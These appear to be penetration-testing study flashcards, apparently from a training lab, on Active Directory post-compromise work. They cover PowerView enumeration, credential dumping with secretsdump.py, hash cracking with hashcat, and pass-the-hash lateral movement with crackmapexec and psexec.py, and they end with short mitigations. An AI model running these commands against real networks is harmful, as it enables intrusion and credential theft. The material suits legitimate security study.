Post-Compromise Enumeration (Need credentials) Flashcards
Powertools/Powerview (github)
PowerSploit/Recon (github)
Recon with powerview
Get-NetDomain
Get-NetDomainController
Get-DomainPolicy
(Get-DomainPolicy).”system access”
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select samaccountname
Get-NetUser | select description (password may be)
Get-UserProperty -Properties pwdlastset
Get-UserProperty -Properties logoncount
Get-UserProperty -Properties badpwdcount
Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer -FullData | selec OperatingSystem
Get-NetGroup
Get-NetGroup -GroupName “Domain Admins”
Get-NetGroup -GroupName “admin”
Get-NetGroupMember -GroupName “Domain Admins”
Invoke-ShareFinder
Get-NetGPO
Get-NetGPO | select displayname, whenchanged
Pass the password / Pass the Hash (General definition)
If we crack a password and /or dump the SAM hashes, we can leverage both for lateral movement in networks
Pass the password
crackmapexec smb IP/CIDR -u user -d domain -p pass
Pass the Hash
crackmapexec smb ip/CIDR -u user -H hash –local
How dump the NTLM hash of remote windows host with username and passwd ?
secretsdump.py marvel/fcastle:Password1@192.168.56.1
(Impacket script)
Crack NTLM / SAM Hash
hashcat -m 1000 hash.txt wordlist.txt -O
NTML hash VS NTLMv2 hash
You can pass NTLM hashs but can’t pass NTLMv2 hashs
Spray the hash via crackmapexec
crackmapexec smb 192.168.56.1/24 -u “Frank Castle” -H <hash> --local-auth</hash>
Find writable share via pass the hash via psexec (Quick win to domain admin control; upload shell)
psexec.py “franck castle”:@192.168.56.1 -hashes <LMHASH:NTHASH></LMHASH:NTHASH>
Mitigation pass the password / pass the hash
- Limit account re-use
- Utilize strong passwords
- Privilege Access Managemement (PAM)